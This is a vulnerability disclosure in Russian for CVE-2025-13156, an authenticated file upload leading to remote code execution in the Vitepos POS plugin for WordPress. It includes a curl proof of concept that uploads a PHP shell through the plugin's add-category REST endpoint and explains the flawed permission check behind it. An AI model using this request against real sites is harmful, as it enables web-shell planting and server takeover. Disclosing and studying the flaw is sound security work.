
Disclosure for CVE-2025-13156
Раскрытие информации о CVE-2025-13156
Этот репозиторий раскрывает информацию об уязвимости, обнаруженной в Vitepos – Point of Sale (POS) for WooCommerce <= 3.3.0, плагине WordPress, разработанном компанией appsbd.
| CVE ID | Тип | Компонент | Влияние |
|---|---|---|---|
| CVE-2025-13156 | Аутентифицированная (Подписчик+) произвольная загрузка файлов с последующим удаленным выполнением кода | modules/class-pos-settings.php api/v1/class-pos-product-api.php | Загрузка произвольных файлов на сервер затронутого сайта |
curl -k \
'http://localhost:8080/wp-json/vitepos/v1/product/add-category' \
-H 'Cookie: wordpress_logged_in_<your_hash>=<your_cookie>' \
-H 'X-WP-Nonce: <your_nonce>' \
-F 'category_name=evil' \
-F 'category_parent=0' \
-F 'category_description=PoC-shell' \
-F 'category_image=@./shell.php;filename="shell.php";type=application/octet-stream'
REST-маршруты плагина в /wp-json/vitepos/v1/product/... полагаются на разрешительную проверку прав, которая фактически принимает любого вошедшего в систему пользователя (is_user_logged_in()), игнорируя, является ли вызывающий пользователем POS или имеет возможность управлять терминами продуктов. В результате низкопривилегированные роли (например, Подписчик) могут получить доступ к конечным точкам, таким как add-category/update-category.
Поскольку файлы нельзя разместить непосредственно в корневой директории веб-сервера (WebRoot), в некоторых окружениях атака может не сработать. В каталоге uploads выполнение PHP обычно запрещено, поэтому, вероятно, это не сработает, если только окружение не является сильно нетипичным.
Как только я увидел строку application/octet-stream в белом списке MIME, у меня возникло плохое предчувствие, но на самом деле это сработало, что было очень удивительно.
Изначально ядро WordPress предотвращает загрузку PHP, но этот плагин реализовал собственную обработку, что позволило воспроизвести данную уязвимость. Это довольно редкий случай.
Имя: MooseLove
Роль: Независимый исследователь безопасности / охотник за багами
Контакт: Доступен по запросу
Данное уведомление предоставлено для повышения общественной осведомленности в области безопасности. Разрешается свободное распространение с указанием авторства.